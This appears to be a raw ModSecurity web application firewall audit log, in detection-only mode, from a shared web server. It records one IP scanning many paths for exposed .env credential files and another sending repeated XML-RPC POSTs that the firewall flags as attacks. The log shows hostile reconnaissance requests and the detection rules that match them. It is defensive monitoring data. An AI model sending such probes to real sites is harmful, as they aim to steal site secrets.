"/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE943jZ3uHeEW3BYvDO82gAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038750625116 953008 (- - -) Stopwatch2: 1750038750625116 953008; combined=2473, p1=372, p2=1584, p3=41, p4=65, p5=244, sr=111, sw=167, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5058e25b-Z-- --0b042268-A-- [16/Jun/2025:07:22:43.693417 +0530] aE946_v_9qNKLXJRkuZhCQAAAAs 185.177.72.210 42494 127.0.0.1 7081 --0b042268-B-- GET /:5000/.env.back HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0b042268-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ca0b459bb209a72ee35a782e41f9a94e1750038763; expires=Mon, 16 Jun 2025 02:52:43 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0b042268-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5000/.env.back"] [unique_id "aE946_v_9qNKLXJRkuZhCQAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038763036134 657346 (- - -) Stopwatch2: 1750038763036134 657346; combined=2052, p1=400, p2=1560, p3=0, p4=0, p5=91, sr=105, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0b042268-Z-- --86038d72-A-- [16/Jun/2025:07:22:46.686827 +0530] aE947jZ3uHeEW3BYvDO84gAAAAA 185.177.72.210 42676 127.0.0.1 7081 --86038d72-B-- GET /:8888/statisch/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --86038d72-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a2b030179ffbefcd1b77b63958a0f9b51750038766; expires=Mon, 16 Jun 2025 02:52:46 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --86038d72-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/statisch/.env"] [unique_id "aE947jZ3uHeEW3BYvDO84gAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038766012467 674437 (- - -) Stopwatch2: 1750038766012467 674437; combined=2104, p1=427, p2=1531, p3=0, p4=0, p5=145, sr=84, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --86038d72-Z-- --c1425a64-A-- [16/Jun/2025:07:22:54.137848 +0530] aE949X9ZI6Q__Lo-KiYVowAAAAc 185.177.72.210 49026 127.0.0.1 7081 --c1425a64-B-- GET /:10000/app/configurationtion/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --c1425a64-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8cbd06204a83a8bf9c0b7cb1dea43f851750038773; expires=Mon, 16 Jun 2025 02:52:53 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --c1425a64-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/app/configurationtion/.env"] [unique_id "aE949X9ZI6Q__Lo-KiYVowAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038773461243 676736 (- - -) Stopwatch2: 1750038773461243 676736; combined=2023, p1=581, p2=1320, p3=0, p4=0, p5=122, sr=140, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --c1425a64-Z-- --e193d239-A-- [16/Jun/2025:07:23:04.146370 +0530] aE94_zZ3uHeEW3BYvDO87QAAAAA 185.177.72.210 58710 127.0.0.1 7081 --e193d239-B-- GET /docker/compose/withMongo/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e193d239-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=b656e980b2a143ef0346493fa745788c1750038783; expires=Mon, 16 Jun 2025 02:53:03 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e193d239-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/docker/compose/withMongo/.env"] [unique_id "aE94_zZ3uHeEW3BYvDO87QAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038783432231 714198 (- - -) Stopwatch2: 1750038783432231 714198; combined=1889, p1=394, p2=1399, p3=0, p4=0, p5=95, sr=85, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e193d239-Z-- --e2f50473-A-- [16/Jun/2025:07:23:06.282756 +0530] aE95AW5Vm4yhBhRksP5lBgAAAAI 185.177.72.210 58828 127.0.0.1 7081 --e2f50473-B-- GET /:9000/v1/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --e2f50473-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=6e4c0c8462c9ff6fb6c423bab851be431750038786; expires=Mon, 16 Jun 2025 02:53:06 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --e2f50473-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/v1/.env"] [unique_id "aE95AW5Vm4yhBhRksP5lBgAAAAI"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038785589187 693667 (- - -) Stopwatch2: 1750038785589187 693667; combined=1960, p1=393, p2=1469, p3=0, p4=0, p5=98, sr=102, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --e2f50473-Z-- --b14bfe6c-A-- [16/Jun/2025:07:23:13.253276 +0530] aE95CH9ZI6Q__Lo-KiYVrgAAAAc 185.177.72.210 59762 127.0.0.1 7081 --b14bfe6c-B-- GET /:8443/.env.local.example HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b14bfe6c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0b40be75714855acc42ba3cddd44cc8c1750038793; expires=Mon, 16 Jun 2025 02:53:13 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b14bfe6c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8443/.env.local.example"] [unique_id "aE95CH9ZI6Q__Lo-KiYVrgAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038792589263 664077 (- - -) Stopwatch2: 1750038792589263 664077; combined=1933, p1=377, p2=1463, p3=0, p4=0, p5=92, sr=88, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b14bfe6c-Z-- --f8a5ef45-A-- [16/Jun/2025:07:23:32.053036 +0530] aE95G_bo0R64L12N_alfJgAAAAQ 128.199.112.101 59058 127.0.0.1 7081 --f8a5ef45-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 494 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --f8a5ef45-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --f8a5ef45-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE95G_bo0R64L12N_alfJgAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038811099812 953289 (- - -) Stopwatch2: 1750038811099812 953289; combined=2137, p1=397, p2=1322, p3=50, p4=70, p5=185, sr=123, sw=113, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f8a5ef45-Z-- --a3131936-A-- [16/Jun/2025:07:24:10.536032 +0530] aE95QX9ZI6Q__Lo-KiYVzQAAAAc 185.177.72.210 36076 127.0.0.1 7081 --a3131936-B-- GET /.docker/laravel/app/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a3131936-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=e56b1f6d3689d11e3c9cd355bbd8e92b1750038850; expires=Mon, 16 Jun 2025 02:54:10 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a3131936-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/.docker/laravel/app/.env"] [unique_id "aE95QX9ZI6Q__Lo-KiYVzQAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038849843309 692788 (- - -) Stopwatch2: 1750038849843309 692788; combined=1979, p1=414, p2=1466, p3=0, p4=0, p5=99, sr=105, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a3131936-Z-- --786b6c01-A-- [16/Jun/2025:07:24:19.182883 +0530] aE95SuMjvy_LHXlMeRAVbwAAAAU 185.177.72.210 36444 127.0.0.1 7081 --786b6c01-B-- GET /:9000/.env.1 HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --786b6c01-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=307b5081cf28cfe87be5ee9c30f95b091750038859; expires=Mon, 16 Jun 2025 02:54:19 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --786b6c01-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:9000/.env.1"] [unique_id "aE95SuMjvy_LHXlMeRAVbwAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038858545331 637625 (- - -) Stopwatch2: 1750038858545331 637625; combined=1597, p1=344, p2=1155, p3=0, p4=0, p5=98, sr=89, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --786b6c01-Z-- --1978c17f-A-- [16/Jun/2025:07:24:24.108012 +0530] aE95T39ZI6Q__Lo-KiYV0gAAAAc 185.177.72.210 60380 127.0.0.1 7081 --1978c17f-B-- GET /awstats/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --1978c17f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=7f776c9288527458a97c187f2b2034c71750038863; expires=Mon, 16 Jun 2025 02:54:23 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --1978c17f-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/awstats/.env"] [unique_id "aE95T39ZI6Q__Lo-KiYV0gAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038863450351 657724 (- - -) Stopwatch2: 1750038863450351 657724; combined=1761, p1=371, p2=1298, p3=0, p4=0, p5=92, sr=87, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --1978c17f-Z-- --f30f5756-A-- [16/Jun/2025:07:24:25.075996 +0530] aE95UDZ3uHeEW3BYvDO9FwAAAAA 185.177.72.210 60414 127.0.0.1 7081 --f30f5756-B-- GET /:8888/app/config/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --f30f5756-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=adf3ca4ef60965c33899d31e3cb2ce671750038864; expires=Mon, 16 Jun 2025 02:54:24 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --f30f5756-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/app/config/.env"] [unique_id "aE95UDZ3uHeEW3BYvDO9FwAAAAA"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038864429426 646650 (- - -) Stopwatch2: 1750038864429426 646650; combined=2080, p1=450, p2=1544, p3=0, p4=0, p5=86, sr=102, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --f30f5756-Z-- --36597816-A-- [16/Jun/2025:07:24:32.326393 +0530] aE95V_vF1ly0gx5reNmExAAAAAE 128.199.112.101 52016 127.0.0.1 7081 --36597816-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 495 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --36597816-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --36597816-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (50+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE95V_vF1ly0gx5reNmExAAAAAE"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038871378679 947769 (- - -) Stopwatch2: 1750038871378679 947769; combined=2419, p1=415, p2=1627, p3=41, p4=58, p5=172, sr=109, sw=106, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --36597816-Z-- --0a113a3c-A-- [16/Jun/2025:07:24:33.021890 +0530] aE95WOMjvy_LHXlMeRAVdgAAAAU 185.177.72.210 52068 127.0.0.1 7081 --0a113a3c-B-- GET /:8181/.env.development HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --0a113a3c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d00254925b32a471791d7891736ec56b1750038872; expires=Mon, 16 Jun 2025 02:54:32 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --0a113a3c-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8181/.env.development"] [unique_id "aE95WOMjvy_LHXlMeRAVdgAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750038872349341 672645 (- - -) Stopwatch2: 1750038872349341 672645; combined=1738, p1=398, p2=1243, p3=0, p4=0, p5=96, sr=119, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --0a113a3c-Z-- --b3536074-A-- [16/Jun/2025:07:24:46.284733 +0530] aE95ZfvF1ly0gx5reNmEygAAAAE 185.177.72.210 56868 127.0.0.1 7081 --b3536074-B-- GET 